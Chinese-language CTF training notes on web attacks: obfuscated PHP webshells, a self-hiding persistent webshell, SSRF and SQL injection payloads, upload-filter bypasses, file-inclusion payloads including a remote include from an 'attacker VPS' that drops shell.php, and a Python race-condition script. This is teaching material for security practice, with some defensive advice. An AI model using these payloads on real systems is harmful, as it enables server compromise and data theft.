2021涅普冬令营笔记——web

Aimerl0
• 阅读 1097

写在前面 老 web 🐕了

课程大纲

2021涅普冬令营笔记——web

2021.2.6——黑客竟在我身边

Burpsuite 功能介绍

安装

  • 百度、csdn 都有教程,跳过

proxy模块

  • 代理模块,相当于在客户端和服务端中间的一个关卡,可以拦截、修改、丢弃所有的流量包

2021涅普冬令营笔记——web

intruder模块

  • 用来爆破的模块

2021涅普冬令营笔记——web

Target

2021涅普冬令营笔记——web

Positions

2021涅普冬令营笔记——web

Payloads

  • Payload Sets

2021涅普冬令营笔记——web

  • Payload options

2021涅普冬令营笔记——web

  • Payload Processing

2021涅普冬令营笔记——web

  • Payload Encoding

2021涅普冬令营笔记——web

Decode 模块

  • burp里的编码解码工具,可以进行一些编码转换、hash加解密,还有个智能解码的功能

一句话木马讲解

  • 一句话木马,它是个可执行脚本文件, 把脚本文件上传到目标服务器 然后文件被解析执行,就可以达到控制目标服务器的目的,主要是内置危险的命令执行的函数,可以通过传参来在目标主机上远程执行一些命令
  • 经典例子
<?php
    @eval($_POST['hack']);
?>
  • 传🐎成功条件

    1. 木马能成功上传到服务器
    2. 我们知道木马上传到服务器的路径(绝对路径)
    3. 上传的木马能被解析执行
  • 传统🐎检测一般是正则表达式黑名单(关键字)匹配

    绕过思路:

    1. 绕过php代码标志 <? 的限制

      <script language="php">@eval($_POST['x'])</script>
    2. 拆分拼接

      <?php
      $arr=explode(",","a,s,d,f,s,d,e,k,r,t"); //把字符串打散为数组
      $payload=$arr[0].$arr[1].$arr[4].$arr[6].$arr[8].$arr[9];//拼接成assert
      //php版本要求:<=7.0
      @$payload(@$_GET['x']);
      ?>
    3. 编码

      <?php
          $a=base64_decode("YXNzZXJ0");
          @$a($_POST('cmd'));
      ?>
    4. 随机异或,用异或运算来组成字符

      这个骚 payload 骚姿势特别特别多,真的意想不到,极限绕过

      <?php
      //也可以用十六进制进行进一步加密,例如
      //$r="x4d"^"x3f";
      $a="Y"^"8";//a
      $b="T"^"'";//s
      $c="*"^"O";//e
      $d="M"^"?";//r
      $e="-"^"Y";//t
      $payload=$a.$b.$b.$c.$d.$e;//拼接成assert
      @$payload(@$_POST['x']);
      ?>
    5. 可变函数

      <?php
      @$_REQUEST['e'](@$_REQUEST['x']);
      //传入e=assert&x=command
      ?>
    6. 可变变量

      <?php
      $a='assert';
      $b='a';
      //$$b=$a='assert'
      $$b($_POST['x']); //assert($_POST['x'])
      ?>
    7. 使用回调函数,回调函数:PHP是将函数以string形式传递的。可以使用任何内置或用户自定义函数,但除了语言结构例如:array(),echo,empty(),eval(),exit(),isset(),list(),print 或 unset()。

      # 函数:call_user_func ( $callback , $parameter)
      # $callback :被调用的回调函数
      # $parameter:0个或以上的参数,被传入回调函数。
      
      <?php  
       @call_user_func($_GET['id'],$_POST['a']);
       //传入id=eval&a=command
      ?>
  • 🐎的特征与查杀

代码执行函数 命令执行函数
eval exec()--执行一个外部程序
assert passthru()--执行外部程序并且显示原始输出
pre_replace proc_open()--执行一个命令,并且打开用来输入/输出的文件指针
create_function shell_exec()或--通过shell环境执行命令
file_get_content system()--执行外部程序,并显示输出
回调函数 call_user_func、call_user_func_array、register_tick_function、array_filter等等 popen()--通过参数传递一条命令,并对popen打开的文件执行
文件操作函数 包含函数 特殊函数
file_ get_contents 一将整个文件读入为一个字符串、- file_ put_ contents 一将一个字符串写入文件 require、require_once phpinfo
file()一把整个文件读入一个数组中、fopen一打开文件或者URL include、include_once 变量覆盖 parse_str、extract
move_ uploaded file 一将上传的文件移动到新位置
readfile一读取一个文件,并写入到输出缓冲
rename一重命名一个文件或目录
rmdir一删除目录
unlink & delete 一删除文件
  • 不死🐎

    不死马即内存马,它无文件,但程序会永久的运行在PHP进程中,无限执行,很隐蔽不易被发现,也不容易被删除。

    <?php 
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = './.index1.php';
    $code = '<?php if(md5($_POST["pass"])=="5c44d3ed7462245f57b37f8fe2a3d5de"){@eval($_POST["cmd"]);} ?>';
    //pass=nepnep 用法:pass=nepnep&cmd=command
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .index1.php');
        usleep(5000);
    }
    ?>
    
    # ignore_user_abort(true):此函数用来设置 客户机断开后是否会终止脚本的执行,设置成true,客户机# 断开后脚本仍然会执行。
    # set_time_limit(0):设置脚本最大执行时间,设为0表示没有限制。
    # unlink(__FILE__): 删除文件本身,起到隐蔽自身的作用。
    # usleep():延迟执行当前脚本若干微秒。
  • 如何查杀不死🐎

    1. 重启服务,比如php 等web服务。

    2. 创建一个和不死马同名的文件夹。

    3. 删除相应进程。查出不死马进程PID后,用命令kill -9 PID 杀掉进程。

    4. 竞争写入删除不死马的文件,usleep的时间必须要小于不死马的延迟时间才会有效。

菜刀蚁剑使用介绍

  • 传🐎路径填上去,密码填上,懂得都懂了

2021.2.7——让我康康,你的内网里有什么好康的

PHP

  • PHP 是世界上最好的语言
  • 安装phpstudy

SSRF

  • Server-Side Request Forgery(服务器端请求伪造):由攻击者构造形成,由服务端发起请求的一个攻击漏洞,形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
  • 数据流:攻击者----->服务器---->目标地址
  • 容易使用不当产生 SSRF 的危险函数:file_get_contents()fsockopen()curl_exec()

举例

//file_get_contents
<?php
    if(isset($_POST['url']))
    {
        $content = file_get_contents($_POST['url']);
        $filename = './images/'.rand().'.jpg';
        file_put_contents($filename, $content);
        echo $_POST['url'];
        $img = "<img src=\"".$filename."\"/>";
        echo $img;
    }
    else
    {
        echo "no url";
    }
?>
//fsockopen
<?php
    function GetFile($host,$port,$link){
        $fp = fsockopen($host,intval($port),$errno,$errstr,30);
        if (!$fp) {
            echo "GET $link HTTP/1.1\r\n";
        }
        else{
            $out = "GET $link HTTP/1.1\r\n";
            $out .= "Host: $host\r\n";
            $out .="Connection Close\r\n\r\n";
            $out .= "\r\n";
            fwrite($fp, $out);
            $contents = '';
            while (!feof($fp)) {
                $contents .= fgets($fp,1024);
            }
            fclose($fp);
            return $contents;
        }
    }
?>
//curl
<?php
    if (isset($_POST['url'])) {
        $link = $_POST['url'];
        $curlobj = curl_init();
        curl_setopt($curlobj,CURLOPT_POST,0);
        curl_setopt($curlobj,CURLOPT_URL,$link);
        curl_setopt($curlobj,CURLOPT_RETURNTRANSFER,1);
        $result = curl_exec($curlobj);
        curl_close($curlobj);

        $filename = './curled/'.rand().'.txt';
        file_put_contents($filename, $result);
        echo $result;
    }

危害

  • SSRF 本质是能控制服务器端的请求
  • 内网探测
  • 利用 file 协议读取本地文件等
  • 向内部任意主机的任意端口发送 payload ,从而达到攻击内网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 struts2、sqli等)
  • DOS 攻击,让服务器端去请求一个很大的文件,一直占用服务器资源

一些绕过

  • 加端口

    127.0.0.1:80

  • 短网址

  • 指向任意 IP 的域名 xip.io

    127.0.0.1.xip.io

  • IP 限制绕过

    十进制转换 (转换成十六进制再转换回来,把.换成0,比如http://0x7f000001,十进制就是http://2130706438

    八进制转换 http://0177.0.0.1

    十六进制转换 http://0x7f.0.0.1

    不同进制组合转换

  • @符号绕过

    http://www.baidu.com@127.0.0.1

  • 后面加参数

    http://127.0.0.1?a=sdlafkjadsl

2021.2.8——诶,?id=1? 教你一把梭

数据库基础

基础的东西

就当复习一遍 sql 语法了

  • 登录数据库:cmd 下mysql -用户名 -p 按enter 输密码
  • 查看库名:show databases;
  • 创建、删除、使用库:create database 库名drop database 库名use 库名
  • 创建表:create table 表名
  • 增删改查语句:
    1. insertinsert into 表名 values(一一对应字段的值);
    2. deletedelete from 表名 where xxxx;
    3. updateupdate 表名 set 字段名 = 值 where 键名 = x;
    4. selectselect * from 表名;
  • 常用变量:
    1. database():查看当前数据库名
    2. user():用户
    3. version():查看数据库版本
    4. @@basedir():安装路径
    5. ....
  • 常用符号:& and || or ^ xor
  • 常用函数:
    1. 字符串截取函数
      • substr(database(),1,1)
      • substring
      • mid(database(),1,1)
      • left(database(),1)
    2. 编码函数
      • ascii()
      • hex()
      • char():ascii() 的逆函数
    3. 文件函数
      • load_file():读取文件内容

理解 sql 注入

  • 闭合

  • # 常见sql语句
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $sql = "select * from data where id = '". $id .""";
    
    # 如果输入 id = 1',拼接进语句能够得到
    $sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";
    $sql = "select * from data where id = '". 1' ."'";
    
    # 1后面的单引号用于闭合原语句最后的单引号
  • 如果不给用单引号,可以使用在\来将$username后面的单引号转义。然后我们想办法在$password部分注释掉后面的单引号

2021涅普冬令营笔记——web

常见的注入姿势

联合查询

  • 联合查询的基本要求:

    1. 查询列数必须一致
    2. 查询语句的查询的各列类型、顺序最好一致
  • 联合查询的步骤:

    1. 闭合
    2. 判断字段数
    3. 判断结果输出位置
    4. 爆库、爆表、爆列
  • 重要数据库:information_schema,这个库中重要的东西:TABLE表(提供了关于数据库中的表的信息(包括视图)),COLUMNS表(提供了表中的列信息)

  • 爆库名 union select 1,2,database()

  • 爆表名 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() union select 1,2, group_concat(table_name) from information_schema.columns where table_schema=database()

  • 爆字段名 union select 1,2, group_concat(column_name) from information_schema.columns where table_schema=database()

    报错注入

  • 常用到的函数:

    1. Updatexml:更新xml文档的函数。 语法:updatexml(文档类型,xpath路径,更新的内容)
    2. Extractvalue:对XML文档进行查询的函数 语法: extractvalue(文档类型,xpath路径)

盲注:时间盲注和布尔盲注

  • if表达式和sleep函数

    if(expr1,expr2,expr3),举例:?id = 1' and 0 if(1,sleep(3),0);

    如果 expr1 是 TRUE ,则 if() 的返回值为 expr2 ; 否则返回值则为 expr3,所以,第一个expr1 = 1 的时候就会触发 sleep 函数,延时3秒,这样延时差就产生了,这就是时间盲注的原理

  • 布尔盲注就用substr(database(),1,1)ascii()函数搭配,截取database()里的第一个字符,然后二分法一个一个比

堆叠注入

?id=1';insert into users values('114',database(),'hahhahaha'); --+

利用的是 mysql分号结尾,能够在一个命令行内,执行多条语句

读写文件

  • 需要修改 mysql 的一个配置项为secure-file-priv=

  • 文件读取函数:Load_file(‘文件路径’)

  • 写文件函数:into outfileinto dumpfile select '<?php eval($_POST[cmd]); ?>' into outfile '绝对路径’;

  • 两个函数的区别在于:

    因为into outfile函数会在行末端写入新行更致命的是会转义换行符,所以如果是利用 mysql 写一些 dll 或者其他二进制可执行文件,那么这个文件可能会被破坏,这时候我们用 into dumpfile就能导出一个完整能执行的二进制文件

好文推荐

https://www.anquanke.com/post/id/205376 SQL注入基础整理及Tricks总结

http://yulige.top/?p=80 郁离歌师傅的SQLI-LABS修炼笔记(一)(刷sqlilabs推荐)

https://xz.aliyun.com/t/7575 sql盲注的效率分析

2021.2.9——文件上传,yyds!

文件上传

什么是文件上传?文件上传有什么用。

文件上传漏洞介绍

一些web应用程序中允许上传图片、视频、头像和许多其他类型的文件到服务器中。文件上传漏洞就是利用服务端代码对文件上传路径变量过滤不严格将可执行的文件上传到一个到服务器中 ,再通过URL去访问以执行恶意代码。

文件上传

<html>
<body>
<form action="upload_file.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" /> 
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

注意form表单里面的enctype属性为二进制数据multipart/form-data

注释:允许用户上传文件是一个巨大的安全风险。请仅仅允许可信的用户执行文件上传操作。

php jsp asp小马

相信大家已经听了南浔姐姐讲的web第一节课,了解了一句话木马的相关操

作,我给没赶上上次课的同学再简单说说

介绍一些

<?php eval($_POST[0]);?>#经典的一句话木马
<?php phpinfo();?>
<%Runtime.getRuntime().exec(request.getParameter("0"));%>
#https://www.jianshu.com/p/123db17b78a0  #jsp木马
<%execute(request("0"))%>
//https://www.w3school.com.cn/asp/met_execute.asp
//https://www.cnblogs.com/xiaozi/p/7560907.html  #asp木马

我们将一些危险的代码上传到服务器让其执行就可能危险到服务器的安全

菜刀蚁剑介绍

蚁剑安装

菜刀蚁剑

文件上传如何利用?

现在我们知道了什么是文件上传和文件上传的危害,那么如何进行利用?

利用条件是什么?

  • 能够绕过服务器上传脚本文件(php asp jsp)
  • 知道上传文件的路径和文件名

文件上传绕过

但是一般的网站都会来验证用户上传的信息,下面介绍一下常见的校验方法和绕过方法。

实验靶机:upload-labswp

客户端校验

  • javascript校验(一般只校验后缀名)upload-labs 第一关(浏览器 bp都可以)

服务端校验

  • content-type验证 upload-labs 第二关

  • 文件扩展名校验 (白名单黑名单) upload-labs 第三关

    白名单:   png jpg gif
    黑名单:  (不能上传这些后缀名) php  jsp asp 
  • 文件内容头校验(GIF89a)文件幻数检测

  • 文件内容检测 (检测内容是否合法或含有恶意代码 二次渲染配合文件包含二次渲染

绕过

找漏网之鱼:php3,php4,php7等 (PHP版本<5.3可使用%00截断) 
AddType application/x-httpd-php .php .php3 .php5 .php7

大小写绕过:AsP、pHP
文件后缀双写绕过   php ""

上传不符合windows文件命名规则的文件名 test.php:1.jpg test.php::$DATA 会被windows系统自动去掉不符合规则符号后面的内容
配合解析漏洞绕过

%00截断 (PHP<5.3.4时 shell.php%00.jpg 可截断%00后的内容) 配合解析漏洞绕过
c语言里面的%00

.htaccess绕过   (apache)
.user.ini绕过   (nginx)

.htaccess绕过

如upload-labs第四关

.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess主要的作用有:
URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。

php网站在进行解析php的时候会首先解析当前目录下的配置文件

<FilesMatch "1.jpg">  //匹配文件
        SetHandler application/x-httpd-php  
    //SetHandler方法将1.jpg当成php代码执行
</FilesMatch>
// 作用范围 当前目录

php_value auto_prepend_file ".htaccess"
#<?php eval($_POST[cmd]);?>

内容检测

一般来说是对上传的文件的内容进行一个检测,比如<? ?> php 等等

绕过思路是去构造免杀的webshell

<script language=php>@eval($_POST[123]);</script>#PHP5 支持

实验

ctfshow web168

<?php
$func = 'syste'.'m';
$arr = array('cat ../f*');
array_map($func, $arr);

FUZZ字典

fuzz模糊测试

php3 php4 php5 php6

构造优质上传漏洞Fuzz字典

文件幻数检测(文件开头)

幻数 magic number,它可以用来标记文件或者协议的格式,很多文件都有幻数标志来表明该文件的格式。

要绕过文件幻数检测就要在文件开头写上如下的值

.jpg    FF D8 FF E0 00 10 4A 46 49 46
.gif    47 49 46 38 39 61
.png    89 50 4E 47

在文件幻数后面加上自己的WebShell代码就行(常见的是GIF89a

图像文件相关信息检测常用的是getimagesize()函数,需要把文件头部分伪造,也就是在幻数的基础上还加了一些文件信息。

2021涅普冬令营笔记——web

GIF89a
(...some binary data for image...)
<?php phpinfo(); ?>
(... skipping the rest of binary data ...)

竞争条件攻击

如upload-labs第十七关

一些网站允许上传任意文件,然后检测文件是否包含Webshell,如果有则删除该文件。

服务器端在处理不同用户的请求时是并发进行的

如果并发处理不当或相关操作逻辑顺序设计的不合理时,将导致条件竞争漏洞

<?php
    if(isset($_GET['src'])){
        copy($_GET['src'],$_GET['dst']);
      sleep(2);//检查操作
        unlink($_GET['dst']);
    }
?>

它先把文件保存在本地,再检查,然后删除

在上传完成和安全检查删除它的间隙,攻击者用多线程不断的发起访问请求该文件

该文件就会被执行从而生成一个恶意shell

竞争删除前生成shell流程:

上传文件→访问执行文件,生成shell文件→删除不安全文件 (多线程访问)

<?php
    fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]) ?>');
?>

.user.ini绕过

在php执行的过程中,除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 .user.ini 中可以定义除了PHP_INI_SYSTEM以外的模式的选项,故可以使用 .user.ini 加上非php后缀的文件构造一个shell,比如 auto_prepend_file=01.gif

  • 需要当前上传的目录下有php文件

.user.ini导致文件上传绕过

解析漏洞攻击

主要有目录解析、文件解析,Apache解析漏洞、Nginx解析漏洞、IIS7.5解析漏洞。

防御

  • 文件扩展名服务端白名单效验
  • 文件内容服务端效验 <? php
  • 上传文件重命名
  • 隐藏上传文件路径
  • 限制相关目录的执行权限,防范WebShell攻击

文件包含

程序开发人员通常出于灵活性的考虑,会将被包含的文件设置成变量,然后动态调用这些文件。

但正是因为调用的灵活性导致用户可能调用一些恶意文件,造成文件包含漏洞

demo实验

include()        //使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
    //warning
include_once()    //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

require()        //使用此函数,只要程序执行,立即调用此函数包含文件发生错误时,会输出错误信息并立即终止程序。
require_once()    //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

本地文件包含(LFI)

用户可以控制包含的文件名,从而造成信息泄露和getshell

漏洞利用

1.读敏感文件
?file=/etc/passwd

2.利用封装协议读源码
?file=php://filter/read=convert.base64-encode/resource=index.php    #这样能看到php文件的源码

4.包含日志文件getshell
路径
apache:/var/log/apache2/access.log
nginx:/var/log/nginx/access.log

3.包含图片Getshell
在上传的图片中写入恶意代码,然后用 LFI 包含调用,就会执行图片里的PHP代码

5.session文件包含getshell

照片木马的制作

执行命令copy 1.png/b + 1.php/a 2.jpg 
前两个文件合并成一个文件,文件属性为2.jpg

PHP中的封装协议(伪协议)

file://

用于访问本地文件系统,在CTF中通常用来读取本地文件,且不受allow_url_fopen与allow_url_include的影响。
include()/require()/include_once()/require_once()参数可控的情况下

php://

条件:
allow_url_fopen:off/on
allow_url_include : 部分需要on (下面列出)
php://input  #用的比较多 输入流

作用:

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是 php://filter 和 php://input
php://filter用于读取源码,php://input用于执行php代码
#1. php://filter/read=convert.base64-encode/resource=[文件名]  //读取文件源码
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
#ctfshow web78

#2.php://input + [POST DATA]执行php代码
http://127.0.0.1/include.php?file=php://input
[POST DATA部分] <?php phpinfo(); ?>

#3.若有写入权限,[POST DATA部分] 写入一句话木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

data://

条件:

allow_url_fopen:on

allow_url_include :on
#ctfshow web79
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===>   <?php system('cat flag.php');

作用

自PHP>=5.2.0起,可以使用 data:// 数据流封装器,以传递相应格式的数据。
通常可以用来执行PHP代码
#1.data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

#2.data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

远程文件包含(RFL)

服务器通过 PHP 的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严格,

从而可以去包含一个恶意文件,攻击者就可以远程构造一个特定的恶意文件达到攻击目的。

漏洞利用

条件:php.ini中开启allow_url_includeallow_url_fopen选项。

1、远程包含Webshell

?arg=http://攻击者的VPS/shell.txt
#会在网站目录生成名为 shell.php 的一句话木马

shell.txt内容为:

<?php
    fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]) ?>');
?>

绕过姿势

url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

php://filter/read=convert.%2562ase64-encode/resource

%00截断

条件:magic_quotes_gpc = Off php版本<5.3.4

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

文件包含getshell

浅析php文件包含及其getshell的姿势

zip:// & bzip2:// & zlib://

作用:

zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件
更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等

phar://

phar://协议与zip://类似,同样可以访问zip格式压缩包内容
#经常使用于序列化

session.upload_progress

利用session.upload_progress进行文件包含

CTFSHOW

sess_flag

2021涅普冬令营笔记——web

# coding=utf-8
import io
import requests
import threading

sessID = 'flag'
url = 'url'

def write(session):
    while True:
        f = io.BytesIO(b'a' * 256 * 1) #建议正常这个填充数据大一点
        response = session.post(
            url,
            cookies={'PHPSESSID': sessID},
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat ../f*");?>'},
            files={'file': ('a.txt', f)}
        )

def read():
    while True:
        response = session.get(url+'upload')
        if 'flag' in response.text:
            print(response.text)
            break


session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True #当daemon为True时,父线程在运行完毕后,子线程无论是否正在运行,都会伴随主线程一起退出。
write.start()
read()

长度截断

Windows下目录最大长度为256字节,超出的部分会被丢弃;

Linux下目录最大长度为4096字节,超出的部分会被丢弃。

那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

防御

  1. 禁止远程文件包含 allow_url_include=off
  2. 配置 open_basedir=指定目录,限制访问区域。
  3. 过滤../等特殊符号
  4. 修改Apache日志文件的存放地址
  5. 开启魔术引号 magic_quotes_qpc=on php 4 5
  6. 尽量不要使用动态变量调用文件,直接写要包含的文件。

总结

文件上传经常和文件包含一起考察。 如:ctfshow web164

  • 判断是黑名单还是白名单

  • 白名单解析漏洞绕过,配合文件包含 照片二次渲染等等

  • 黑名单扩展名绕过或.htaccess,.user.ini等绕过总结

    include() url
    file_get_concent()

2021.2.10——黑客竟是我自己

什么是 RCE

  • 全程 Remote Code Execution,远程代码执行

RCE 能做什么

  1. 执行系统命令

  2. 记录用户输入

  3. 控制键盘鼠标

  4. 任意上传下载

  5. 魔性洗脑

  6. 截屏

  7. 奇思妙想

什么会导致 RCE

  1. 服务器上有木马

  2. 脆弱服务未授权

  3. 通过数据库写木马

  4. 文件上传、文件包含

  5. 危险函数(危险功能)

    eval
    assert
    system
    shell_exec
    exec
    file_put_contents
    ...
  1. 命令执行

    基本操作 ls cat cd pwd rm mv mkdir grep apt-get
    系统资源 top ps netstat
    网络相关 ifconfig curl wget ping
    命令拼接符 ; && ||
    其他读文件命令 cat tac xxd od nl
  1. 反序列化

    1. 什么是反序列化
      • 序列化是将一个对象转换成一个字符串,反序列化就是将这个字符串转换回一个对象
    2. 怎么反序列化
      • unserialize() 函数
    3. 反序列化怎么造成 RCE
      • 用户可控制反序列化一些参数,从而执行危险函数或者跳转到其他方法(形成 ROP 利用链),以此达到命令执行

RCE 限制绕过

  1. 可能存在黑名单过滤,
    • 可以采用字典来 fuzz,Linux 特殊符号:; && || | ` $() $ [] < > $IFS
  2. RCE 后命令执行无回显
    • 反弹 shell
    • dnslog
    • 写文件
    • curl 等网络命令
  3. RCE 后发现不可与外界进行网络连接
    • 写文件
    • 命令盲注
    • 隐蔽信道

如何防御 RCE

针对危险函数,应该在危险函数代码前写好黑名单过滤特殊符号,或使用 disable_function 等手段

针对命令注入,尽量不使用命令执行函数,如果必须使用则对用户 输入部分加上引号,转义输入后再渲染

具体问题具体分析,永远不要相信用户的输入

点赞
收藏
评论区
推荐文章
浅梦一笑 浅梦一笑
4个月前
初学 Python 需要安装哪些软件?超级实用,小白必看!
编程这个东西是真的奇妙。对于懂得的人来说,会觉得这个工具是多么的好用、有趣,而对于小白来说,就如同大山一样。其实这个都可以理解,大家都是这样过来的。那么接下来就说一下python相关的东西吧,并说一下我对编程的理解。本人也是小白一名,如有不对的地方,还请各位大神指出01名词解释:如果在编程方面接触的比较少,那么对于软件这一块,有几个名词一定要了解,比如开发环
blmius blmius
1年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
Stella981 Stella981
1年前
KVM调整cpu和内存
一.修改kvm虚拟机的配置1、virsheditcentos7找到“memory”和“vcpu”标签,将<namecentos7</name<uuid2220a6d1a36a4fbb8523e078b3dfe795</uuid
Stella981 Stella981
1年前
Python之time模块的时间戳、时间字符串格式化与转换
Python处理时间和时间戳的内置模块就有time,和datetime两个,本文先说time模块。关于时间戳的几个概念时间戳,根据1970年1月1日00:00:00开始按秒计算的偏移量。时间元组(struct_time),包含9个元素。 time.struct_time(tm_y
Wesley13 Wesley13
1年前
Java日期时间API系列36
  十二时辰,古代劳动人民把一昼夜划分成十二个时段,每一个时段叫一个时辰。二十四小时和十二时辰对照表:时辰时间24时制子时深夜11:00凌晨01:0023:0001:00丑时上午01:00上午03:0001:0003:00寅时上午03:00上午0
Wesley13 Wesley13
1年前
MySQL查询按照指定规则排序
1.按照指定(单个)字段排序selectfromtable_nameorderiddesc;2.按照指定(多个)字段排序selectfromtable_nameorderiddesc,statusdesc;3.按照指定字段和规则排序selec
Stella981 Stella981
1年前
Angular material mat
IconIconNamematiconcode_add\_comment_addcommenticon<maticonadd\_comment</maticon_attach\_file_attachfileicon<maticonattach\_file</maticon_attach\
Wesley13 Wesley13
1年前
PHP中的NOW()函数
是否有一个PHP函数以与MySQL函数NOW()相同的格式返回日期和时间?我知道如何使用date()做到这一点,但是我问是否有一个仅用于此的函数。例如,返回:2009120100:00:001楼使用此功能:functiongetDatetimeNow(){
Wesley13 Wesley13
1年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
helloworld_34035044 helloworld_34035044
6个月前
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为